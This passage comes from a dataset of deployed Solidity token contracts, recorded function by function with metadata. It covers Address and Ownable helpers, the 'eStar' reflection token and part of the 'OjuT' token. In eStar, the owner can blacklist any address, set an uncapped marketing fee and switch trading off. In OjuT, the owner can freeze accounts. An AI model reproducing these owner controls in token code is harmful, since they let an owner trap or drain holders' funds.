`value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCallWithValue
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 4292, 4523 ] }
1,331
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCallWithValue
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); }
/** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 4774, 5095 ] }
1,332
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
Ownable
contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */
NatSpecMultiLine
owner
function owner() public view returns (address) { return _owner; }
/** * @dev Returns the address of the current owner. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 497, 581 ] }
1,333
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
Ownable
contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */
NatSpecMultiLine
renounceOwnership
function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); }
/** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 1139, 1292 ] }
1,334
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
Ownable
contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } }
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */
NatSpecMultiLine
transferOwnership
function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; }
/** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 1442, 1691 ] }
1,335
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
eStar
contract eStar is Context, IBEP20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; //added now mapping (address => bool) private bot; mapping (address => bool) private _isExcluded; address[] private _excluded; string private constant _NAME = 'Ethereum Star ★'; string private constant _SYMBOL = 'eStar ★'; uint8 private constant _DECIMALS = 8; uint256 private constant _MAX = ~uint256(0); uint256 private constant _DECIMALFACTOR = 10 ** uint256(_DECIMALS); uint256 private constant _GRANULARITY = 100; uint256 private _tTotal = 1000000000 * _DECIMALFACTOR; uint256 private _rTotal = (_MAX - (_MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _tBurnTotal; uint256 private constant _TAX_FEE = 200; uint256 private constant _BURN_FEE = 100; uint256 private _MAX_TX_SIZE = 300000 * _DECIMALFACTOR; bool public tradingEnabled = false; address private LiquidityAddress; uint256 private _MAX_WT_SIZE = 600000 * _DECIMALFACTOR; uint256 public _marketingFee = 100; address public marketingWallet = 0xac14a3880C0a192983640297976413E022876469; uint256 private _previousmarketingFee = _marketingFee; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _NAME; } function symbol() public view returns (string memory) { return _SYMBOL; } function decimals() public view returns (uint8) { return _DECIMALS; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function totalBurn() public view returns (uint256) { return _tBurnTotal; } //added this function setBot(address blist) external onlyOwner returns (bool){ bot[blist] = !bot[blist]; return bot[blist]; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(account != 0x73feaa1eE314F8c655E354234017bE2193C9E24E, 'We can not exclude Pancake router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "BEP20: approve from the zero address"); require(spender != address(0), "BEP20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()){ require(amount <= _MAX_TX_SIZE, "Transfer amount exceeds the maxTxAmount."); require(!bot[sender], "Play fair"); require(!bot[recipient], "Play fair"); if (recipient != LiquidityAddress) { require(balanceOf(recipient) + amount <= _MAX_WT_SIZE, "Transfer amount exceeds the maxWtAmount."); } } if (sender != owner()) { require(tradingEnabled, "Trading is not enabled yet"); } _previousmarketingFee = _marketingFee; uint256 marketingAmt = amount.mul(_marketingFee).div(_GRANULARITY).div(100); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount.sub(marketingAmt)); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount.sub(marketingAmt)); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount.sub(marketingAmt)); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount.sub(marketingAmt)); } else { _transferStandard(sender, recipient, amount.sub(marketingAmt)); } //temporarily remove marketing fees _marketingFee = 0; _transferStandard(sender, marketingWallet, marketingAmt); _marketingFee = _previousmarketingFee; } function _transferStandard(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount); uint256 rBurn = tBurn.mul(currentRate); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, rBurn, tFee, tBurn); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private { _rTotal = _rTotal.sub(rFee).sub(rBurn); _tFeeTotal = _tFeeTotal.add(tFee); _tBurnTotal = _tBurnTotal.add(tBurn); _tTotal = _tTotal.sub(tBurn); } function setMaxTxSize(uint256 amount) external onlyOwner() { _MAX_TX_SIZE = amount * _DECIMALFACTOR; } function setmarketingWallet(address newWallet) external onlyOwner() { marketingWallet = newWallet; } function setmarketingfee(uint256 amount) external onlyOwner() { _marketingFee = amount; } function setMaxWtSize(uint256 amount) external onlyOwner() { _MAX_WT_SIZE = amount * _DECIMALFACTOR; } function setLiquidityAddress(address amount) external onlyOwner() { LiquidityAddress = amount; } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _TAX_FEE, _BURN_FEE); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = ((tAmount.mul(taxFee)).div(_GRANULARITY)).div(100); uint256 tBurn = ((tAmount.mul(burnFee)).div(_GRANULARITY)).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn); return (tTransferAmount, tFee, tBurn); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rBurn = tBurn.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() public view returns(uint256) { return _TAX_FEE; } function enableTrading(bool _tradingEnabled) external onlyOwner() { tradingEnabled = _tradingEnabled; } function _getMaxTxSize() public view returns(uint256) { return _MAX_TX_SIZE; } function _getMaxWtSize() public view returns(uint256) { return _MAX_WT_SIZE; } }
setBot
function setBot(address blist) external onlyOwner returns (bool){ bot[blist] = !bot[blist]; return bot[blist]; }
//added this
LineComment
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 3869, 4009 ] }
1,336
OjuTToken
OjuTToken.sol
0x659338df9010de4dadb0bc33d6485d33b2155b06
Solidity
OjuTToken
contract OjuTToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; address public ownerAddress; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; mapping(address => bool) public frozenAccount; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "OjuT"; name = "OjuT Token"; decimals = 18; totalSupply = 125 * 10 ** 25; ownerAddress = 0x25B0db4FD8062a74685032e87a675A3df5a9F228; balances[ownerAddress] = totalSupply; emit Transfer(address(0), ownerAddress, totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { // Prevent transfer to 0x0 address. Use burn() instead require(to != 0x0); // Check if sender is frozen require(!frozenAccount[msg.sender]); // Check if recipient is frozen require(!frozenAccount[to]); balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { // Prevent transfer to 0x0 address. Use burn() instead require(to != 0x0); // Check if sender is frozen require(!frozenAccount[from]); // Check if recipient is frozen require(!frozenAccount[to]); balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } // ------------------------------------------------------------------------ // Destroy tokens // Remove `value` tokens from the system irreversibly // @param value the amount of money to burn // ------------------------------------------------------------------------ function burn(uint256 value) public returns (bool success) { require(balances[msg.sender] >= value); // Check if the sender has enough balances[msg.sender] -= value; // Subtract from the sender totalSupply -= value; // Updates totalSupply emit Burn(msg.sender, value); return true; } // ------------------------------------------------------------------------ // Freeze account - Prevent | Allow` `target` from sending & receiving tokens // @param target Address to be frozen // @param freeze either to freeze it or not // ------------------------------------------------------------------------ function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } }
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
totalSupply
function totalSupply() public constant returns (uint) { return totalSupply - balances[address(0)]; }
// ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------
LineComment
v0.4.24+commit.e67f0147
bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f
{ "func_code_index": [ 1058, 1177 ] }
1,337
OjuTToken
OjuTToken.sol
0x659338df9010de4dadb0bc33d6485d33b2155b06
Solidity
OjuTToken
contract OjuTToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; address public ownerAddress; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; mapping(address => bool) public frozenAccount; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public { symbol = "OjuT"; name = "OjuT Token"; decimals = 18; totalSupply = 125 * 10 ** 25; ownerAddress = 0x25B0db4FD8062a74685032e87a675A3df5a9F228; balances[ownerAddress] = totalSupply; emit Transfer(address(0), ownerAddress, totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { // Prevent transfer to 0x0 address. Use burn() instead require(to != 0x0); // Check if sender is frozen require(!frozenAccount[msg.sender]); // Check if recipient is frozen require(!frozenAccount[to]); balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { // Prevent transfer to 0x0 address. Use burn() instead require(to != 0x0); // Check if sender is frozen require(!frozenAccount[from]); // Check if recipient is frozen require(!frozenAccount[to]); balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = 